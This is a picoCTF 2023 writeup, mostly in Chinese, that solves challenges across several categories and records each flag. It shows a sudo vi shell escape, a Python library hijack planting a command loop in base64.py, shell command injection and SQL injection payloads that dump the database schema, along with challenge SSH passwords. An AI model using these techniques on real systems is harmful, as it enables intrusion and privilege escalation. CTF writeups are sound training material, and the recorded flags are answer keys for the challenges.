# picoCTF 2023 Writeup

## Binary Exploitation

### hijacking
AUTHOR: THEONESTE BYAGUTANGAZA

Description
Getting root access can allow you to read the flag. Luckily there is a
python file that you might like to play with.
Through Social engineering, we've got the credentials to use on the
server. SSH is running on the server.

#### 隨便逛逛
發現/challenge資料夾很可疑，但是沒辦法cd進去


查看sudo 發現使用者可以用sudo權限使用vi

#### exploit

sudo vi

:shell

privilege escalation了，再來就直接A進去/challenge/把flag撈出來就好


>picoCTF{pYth0nn_libraryH!j@CK!n9_5a7b5866}

#### 原本解法
這題當初在解的時候是在.server.py裡面import 的base64裡面搞鬼
只是不知道為甚麼在寫writeup的時候沒辦法用root權限執行.server.py

先`ls -al`發現有一個`.server.py`

`cat .server.py`

import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

`vim .server.py`沒辦法動`.server.py`，因為他是readonly，但是權限沒有設定到`base64.py`

**在import file裡面加料**
`vim /usr/lib/python3.8/base64.py`

import os
while 1:
    cmd=input()
    print(os.popen(cmd).read())

**get shell**

sudo python3 .server.py

## Forensics

### hideme
AUTHOR: GEOFFREY NJOGU

Description
Every file gets a flag.
The SOC analyst saw one image been sent back and forth between two
people. They decided to investigate and found out that there was more
than what meets the eye here.

下載下來發現是一張圖片
看一看感覺很正常

用`exiftool`看了一下沒有把flag藏在某個欄位裡

`strings flag.png`看看
發現裡面有長得很像路徑的東東

直接把`flag.png`當成zip解壓縮看看

unzip flag.png

得到半張flag

>picoCTF{Hiddinng_An_imag3_within_@n_ima9e_92076717}

### FindAndOpen
AUTHOR: MUBARAK MIKAIL

Description
Someone might have hidden the password in the trace file.
Find the key to unlock this file. This tracefile might be good to analyze.

這題給了兩個檔案，第一個是`flag.zip`和`dump.pcap`。
嘗試解壓縮`flag.zip`，發現需要密碼

#### 先從`dump.pcap`下手看看

用wireshark打開`dump.pcap`

隨便看幾個封包後發現都有明文

找到一個超可疑的封包，`=`結尾很可能是base64編碼的填充字元

decode後得到半截flag
>This is the secret: picoCTF{R34DING_LOKd_

回到`flag.zip`，直接通靈把第一段flag當密碼
>picoCTF{R34DING_LOKd_fil56_succ3ss_5ed3a878}

??
## General Skills
### money-ware
AUTHOR: JUNI19

Description
Flag format: picoCTF{Malwarename}
The first letter of the malware name should be capitalized and the rest
lowercase.
Your friend just got hacked and has been asked to pay some bitcoins to
1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is
going on and asks you for advice. Can you identify what malware he’s
being a victim of?

Google `1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX`

找到[CNBC的新聞](https://www.cnbc.com/2017/06/28/ransomware-cyberattack-petya-bitcoin-payment.html)

>picoCTF{Petya}

水爛

### repetitions
AUTHOR: THEONESTE BYAGUTANGAZA

Description
Can you make sense of this file?
Download the file here.
下載`enc_flag`

VmpGU1EyRXlUWGxTYmxKVVYwZFNWbGxyV21GV1JteDBUbFpPYWxKdFVsaFpWVlUxWVZaS1ZWWnVh
RmRXZWtab1dWWmtSMk5yTlZWWApiVVpUVm10d1VWZFdVa2RpYlZaWFZtNVdVZ3BpU0VKeldWUkNk
MlZXVlhoWGJYQk9VbFJXU0ZkcVRuTldaM0JZVWpGS2VWWkdaSGRXCk1sWnpWV3hhVm1KRk5XOVVW
VkpEVGxaYVdFMVhSbFZhTTBKWVZGWmFXbVZzV2tkWk0yaFRDbUpXV25sVVZtaFRWMGRHZEdWRlZs
aGkKYlRrelZERldUMkpzUWxWTlJYTkxDZz09Cg==

==經典base64

decode後

VjFSQ2EyTXlSblJUV0dSVllrWmFWRmx0TlZOalJtUlhZVVU1YVZKVVZuaFdWekZoWVZkR2NrNVVX
bUZTVmtwUVdWUkdibVZXVm5WUgpiSEJzWVRCd2VWVXhXbXBOUlRWSFdqTnNWZ3BYUjFKeVZGZHdW
MlZzVWxaVmJFNW9UVVJDTlZaWE1XRlVaM0JYVFZaWmVsWkdZM2hTCmJWWnlUVmhTV0dGdGVFVlhi
bTkzVDFWT2JsQlVNRXNLCg==

再decode

V1RCa2MyRnRTWGRVYkZaVFltNVNjRmRXYUU5aVJUVnhWVzFhYVdGck5UWmFSVkpQWVRGbmVWVnVR
bHBsYTBweVUxWmpNRTVHWjNsVgpXR1JyVFdwV2VsUlZVbE5oTURCNVZXMWFUZ3BXTVZZelZGY3hS
bVZyTVhSWGFteEVXbm93T1VOblBUMEsK

de

WTBkc2FtSXdUbFZTYm5ScFdWaE9iRTVxVW1aaWFrNTZaRVJPYTFneVVuQlpla0pyU1ZjME5GZ3lV
WGRrTWpWelRVUlNhMDB5VW1aTgpWMVYzVFcxRmVrMXRXamxEWnowOUNnPT0K

deeee

Y0dsamIwTlVSbnRpWVhObE5qUmZiak56ZEROa1gyUnBZekJrSVc0NFgyUXdkMjVzTURSa00yUmZN
V1V3TW1Fek1tWjlDZz09Cg==

eeeeeeee

cGljb0NURntiYXNlNjRfbjNzdDNkX2RpYzBkIW44X2Qwd25sMDRkM2RfMWUwMmEzMmZ9Cg==

aaaaaaaaaa

picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_1e02a32f}


>picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_1e02a32f}

### Permissions
AUTHOR: GEOFFREY NJOGU

Description
Can you read files in the root file?
The system admin has provisioned an account for you on the main server:
ssh -p 53849 [e-mail]
Password: x+T6aPgE4-
Can you login and read the root file?


>picoCTF{uS1ng_v1m_3dit0r_f6ad392b}

水爛

### chrono
AUTHOR: MUBARAK MIKAIL

Description
How to automate tasks to run at intervals on linux servers?
Use ssh to connect to this server:
Server: saturn.picoctf.net
Port: 50602
Username: picoplayer
Password: tPmsUpiHeZ


>picoCTF{Sch3DUL7NG_T45K3_L1NUX_0bb95b71}

?

### useless
AUTHOR: LOIC SHEMA

Description
There's an interesting script in the user's home directory
Additional details will be available after launching your challenge instance.


>picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_6173}

### Special
AUTHOR: LT 'SYREAL' JONES

Description
Don't power users get tired of making spelling mistakes in the shell? Not
anymore! Enter Special, the Spell Checked Interface for Affecting Linux.
Now, every word is properly spelled and capitalized... automatically and
behind-the-scenes! Be the first to test Special in beta, and feel free to
tell us all about how Special streamlines every development process that
you face. When your co-workers see your amazing shell interface, just
tell them: That's Special (TM)
Start your instance to see connection details.
Additional details will be available after launching your challenge
instance.
這題會一直把輸入的指令變成很簡單的單字，然後把開頭用成大寫
`ls`會變`Is`
`cat`會變`Cat`，但如果不是第一個字母就不會變大寫，所以可以用cat指令
用`;` 搭配Regex Command Injection

cat;cat *

發現目錄下面有一個資料夾`blargh`

cat;cat blargh/*


>picoCTF{5p311ch3ck_15_7h3_w0r57_f578af59}

## Reverse Engineering
### Reverse
AUTHOR: MUBARAK MIKAIL

Description
Try reversing this file? Can ya?
I forgot the password to this file. Please find it for me?

題目給了一個檔案`ret`，執行後要輸密碼

丟GDB

start 
c
ctrl^C
ni到死

在呼叫strcmp比對密碼時把`rsi` dump出來，得到前半截flag

>picoCTF{3lf_r3v3r5ing_succe55ful_9ae8528

重新執行`ret`，輸入密碼

>picoCTF{3lf_r3v3r5ing_succe55ful_9ae85289}

## Web Exploitation

### More SQLi
AUTHOR: MUBARAK MIKAIL

Description
Can you find the flag on this website.
Additional details will be available after launching your challenge instance.
#### Bypass login
進入網頁，經典登入介面

username=admin&
password=' or 'a'='a

題目很貼心把`query`都print出來給你

調整一下

username=123&
password=' or 1=1;--

進入之後有一個搜尋頁面

#### 測試有幾個欄位

searchInput=' union select 1,2,3;--


#### dump Table

searchInput=' or 'a'='a

沒看到`flag`，可能在別的`table`

' union select group_concat(sql),2,3 from sqlite_master WHERE type='table';--


現在知道`flag`應該在`more_table`的`flag_TEXT`欄位

' union select flag,2,3 from more_table;--

>picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_3b0fca37}

### MatchTheRegex
AUTHOR: SUNDAY JACOB NWANYIM

Description
How about trying to match a regular expression
Additional details will be available after launching your challenge instance.

一開始沒看hint不知道到底要幹嘛

結果是要match`^p.....F!?`

>picoCTF{succ3ssfully_matchtheregex_9080e406}

世紀水題

### findme

AUTHOR: GEOFFREY NJOGU

Description
Help us test the form by submiting the username as test and password as test!
Additional details will be available after launching your challenge instance.

先用`test` `test!`登入

進去後他說*I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)*

#### 用`BurpSuite`查看被redirected的頁面

id看起來很像經典base64

>picoCTF{proxies_all_the_way_be716d8e}